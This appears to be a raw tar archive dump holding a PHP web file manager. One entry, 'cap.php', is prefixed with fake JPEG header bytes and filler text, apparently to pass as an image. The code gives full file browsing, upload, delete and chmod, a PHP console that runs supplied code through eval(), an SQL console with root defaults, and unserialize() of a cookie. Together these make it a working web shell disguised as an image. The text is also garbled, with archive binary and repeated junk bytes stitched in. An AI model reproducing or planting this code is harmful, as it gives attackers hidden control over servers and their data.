</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
